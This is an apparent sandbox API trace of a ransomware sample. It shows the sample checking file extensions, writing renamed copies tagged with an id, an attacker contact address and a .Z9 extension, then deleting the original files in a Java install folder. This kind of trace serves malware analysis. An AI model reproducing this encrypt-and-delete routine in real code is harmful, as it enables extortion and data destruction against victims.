	[0094.434] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.434] lstrlenW (lpString=".rar") returned 4
	[0094.434] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.434] lstrlenW (lpString=".bz2") returned 4
	[0094.434] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.434] lstrlenW (lpString=".7z") returned 3
	[0094.434] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.434] lstrlenW (lpString=".dbf") returned 4
	[0094.434] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.434] lstrlenW (lpString=".1cd") returned 4
	[0094.434] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.435] lstrlenW (lpString=".jpg") returned 4
	[0094.435] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.435] lstrlenW (lpString=".doc") returned 4
	[0094.435] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.435] lstrlenW (lpString=".docx") returned 5
	[0094.435] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0094.435] lstrlenW (lpString=".pdf") returned 4
	[0094.435] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.435] lstrlenW (lpString=".xls") returned 4
	[0094.435] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.435] lstrlenW (lpString=".xlsx") returned 5
	[0094.435] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0094.435] lstrlenW (lpString=".ppt") returned 4
	[0094.435] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.435] lstrlenW (lpString=".zip") returned 4
	[0094.435] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.435] lstrlenW (lpString=".rar") returned 4
	[0094.435] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.435] lstrlenW (lpString=".bz2") returned 4
	[0094.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.435] lstrlenW (lpString=".7z") returned 3
	[0094.435] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.435] lstrlenW (lpString=".dbf") returned 4
	[0094.435] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.435] lstrlenW (lpString=".1cd") returned 4
	[0094.435] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0094.436] lstrlenW (lpString=".jpg") returned 4
	[0094.436] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.436] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.436] lstrlenW (lpString="net.dll") returned 7
	[0094.436] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.533] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=96832) returned 1
	[0094.533] CloseHandle (hObject=0x394) returned 1
	[0094.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20
	[0094.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.534] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.534] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.534] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0094.534] GetLastError () returned 0x0
	[0094.534] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x17a40, lpOverlapped=0x0) returned 1
	[0094.538] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x17a50, lpOverlapped=0x0) returned 1
	[0094.540] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.540] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0094.540] SetEndOfFile (hFile=0x37c) returned 1
	[0094.541] CloseHandle (hObject=0x37c) returned 1
	[0094.541] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.541] SetEndOfFile (hFile=0x394) returned 1
	[0094.542] CloseHandle (hObject=0x394) returned 1
	[0094.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.542] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 1
	[0094.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.542] lstrlenW (lpString=".doc") returned 4
	[0094.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.542] lstrlenW (lpString=".docx") returned 5
	[0094.543] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0094.543] lstrlenW (lpString=".pdf") returned 4
	[0094.543] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.543] lstrlenW (lpString=".xls") returned 4
	[0094.543] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.543] lstrlenW (lpString=".xlsx") returned 5
	[0094.543] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0094.543] lstrlenW (lpString=".ppt") returned 4
	[0094.543] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.543] lstrlenW (lpString=".zip") returned 4
	[0094.543] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.543] lstrlenW (lpString=".rar") returned 4
	[0094.543] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.543] lstrlenW (lpString=".bz2") returned 4
	[0094.543] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.543] lstrlenW (lpString=".7z") returned 3
	[0094.543] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.543] lstrlenW (lpString=".dbf") returned 4
	[0094.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.543] lstrlenW (lpString=".1cd") returned 4
	[0094.543] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.543] lstrlenW (lpString=".jpg") returned 4
	[0094.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.543] lstrlenW (lpString=".doc") returned 4
	[0094.543] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.543] lstrlenW (lpString=".docx") returned 5
	[0094.543] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0094.543] lstrlenW (lpString=".pdf") returned 4
	[0094.543] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.544] lstrlenW (lpString=".xls") returned 4
	[0094.544] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.544] lstrlenW (lpString=".xlsx") returned 5
	[0094.544] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0094.544] lstrlenW (lpString=".ppt") returned 4
	[0094.544] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.544] lstrlenW (lpString=".zip") returned 4
	[0094.544] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.544] lstrlenW (lpString=".rar") returned 4
	[0094.544] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.544] lstrlenW (lpString=".bz2") returned 4
	[0094.544] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.544] lstrlenW (lpString=".7z") returned 3
	[0094.544] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.544] lstrlenW (lpString=".dbf") returned 4
	[0094.544] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.544] lstrlenW (lpString=".1cd") returned 4
	[0094.544] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0094.544] lstrlenW (lpString=".jpg") returned 4
	[0094.544] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.544] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.544] lstrlenW (lpString="npt.dll") returned 7
	[0094.544] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.545] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=19008) returned 1
	[0094.545] CloseHandle (hObject=0x394) returned 1
	[0094.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20
	[0094.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.545] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.545] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.545] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.545] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0094.545] GetLastError () returned 0x0
	[0094.545] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x4a40, lpOverlapped=0x0) returned 1
	[0094.550] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x4a50, lpOverlapped=0x0) returned 1
	[0094.551] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.551] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0094.551] SetEndOfFile (hFile=0x37c) returned 1
	[0094.551] CloseHandle (hObject=0x37c) returned 1
	[0094.551] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.551] SetEndOfFile (hFile=0x394) returned 1
	[0094.552] CloseHandle (hObject=0x394) returned 1
	[0094.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.552] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 1
	[0094.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.553] lstrlenW (lpString=".doc") returned 4
	[0094.553] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.553] lstrlenW (lpString=".docx") returned 5
	[0094.553] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0094.553] lstrlenW (lpString=".pdf") returned 4
	[0094.553] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.553] lstrlenW (lpString=".xls") returned 4
	[0094.553] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.553] lstrlenW (lpString=".xlsx") returned 5
	[0094.553] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0094.553] lstrlenW (lpString=".ppt") returned 4
	[0094.553] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.553] lstrlenW (lpString=".zip") returned 4
	[0094.553] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.553] lstrlenW (lpString=".rar") returned 4
	[0094.553] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.553] lstrlenW (lpString=".bz2") returned 4
	[0094.553] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.553] lstrlenW (lpString=".7z") returned 3
	[0094.553] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.553] lstrlenW (lpString=".dbf") returned 4
	[0094.553] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.553] lstrlenW (lpString=".1cd") returned 4
	[0094.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.553] lstrlenW (lpString=".jpg") returned 4
	[0094.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.554] lstrlenW (lpString=".doc") returned 4
	[0094.554] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.554] lstrlenW (lpString=".docx") returned 5
	[0094.554] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0094.554] lstrlenW (lpString=".pdf") returned 4
	[0094.554] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.554] lstrlenW (lpString=".xls") returned 4
	[0094.554] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.554] lstrlenW (lpString=".xlsx") returned 5
	[0094.554] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0094.554] lstrlenW (lpString=".ppt") returned 4
	[0094.554] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.554] lstrlenW (lpString=".zip") returned 4
	[0094.554] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.554] lstrlenW (lpString=".rar") returned 4
	[0094.554] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.554] lstrlenW (lpString=".bz2") returned 4
	[0094.554] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.554] lstrlenW (lpString=".7z") returned 3
	[0094.554] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.554] lstrlenW (lpString=".dbf") returned 4
	[0094.554] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.554] lstrlenW (lpString=".1cd") returned 4
	[0094.554] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0094.554] lstrlenW (lpString=".jpg") returned 4
	[0094.554] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.555] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0094.555] lstrlenW (lpString="orbd.exe") returned 8
	[0094.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.555] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=16448) returned 1
	[0094.555] CloseHandle (hObject=0x394) returned 1
	[0094.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20
	[0094.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.555] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.555] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0094.556] GetLastError () returned 0x0
	[0094.556] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0094.569] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0094.570] ReadFile (in: hFile=0x394, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.570] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0094.570] SetEndOfFile (hFile=0x37c) returned 1
	[0094.570] CloseHandle (hObject=0x37c) returned 1
	[0094.571] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.571] SetEndOfFile (hFile=0x394) returned 1
	[0094.571] CloseHandle (hObject=0x394) returned 1
	[0094.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.572] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 1
	[0094.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.572] lstrlenW (lpString=".doc") returned 4
	[0094.572] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.572] lstrlenW (lpString=".docx") returned 5
	[0094.572] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1
	[0094.572] lstrlenW (lpString=".pdf") returned 4
	[0094.572] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.572] lstrlenW (lpString=".xls") returned 4
	[0094.572] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.572] lstrlenW (lpString=".xlsx") returned 5
	[0094.572] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1
	[0094.572] lstrlenW (lpString=".ppt") returned 4
	[0094.572] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.572] lstrlenW (lpString=".zip") returned 4
	[0094.572] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.572] lstrlenW (lpString=".rar") returned 4
	[0094.572] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.572] lstrlenW (lpString=".bz2") returned 4
	[0094.572] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.572] lstrlenW (lpString=".7z") returned 3
	[0094.572] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.573] lstrlenW (lpString=".dbf") returned 4
	[0094.573] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.573] lstrlenW (lpString=".1cd") returned 4
	[0094.573] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.573] lstrlenW (lpString=".jpg") returned 4
	[0094.573] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47
	[0094.573] lstrlenW (lpString=".doc") returned 4
	[0094.573] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.573] lstrlenW (lpString=".docx") returned 5
	[0094.573] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1
	[0094.573] lstrlenW (lpString=".pdf") returned 4
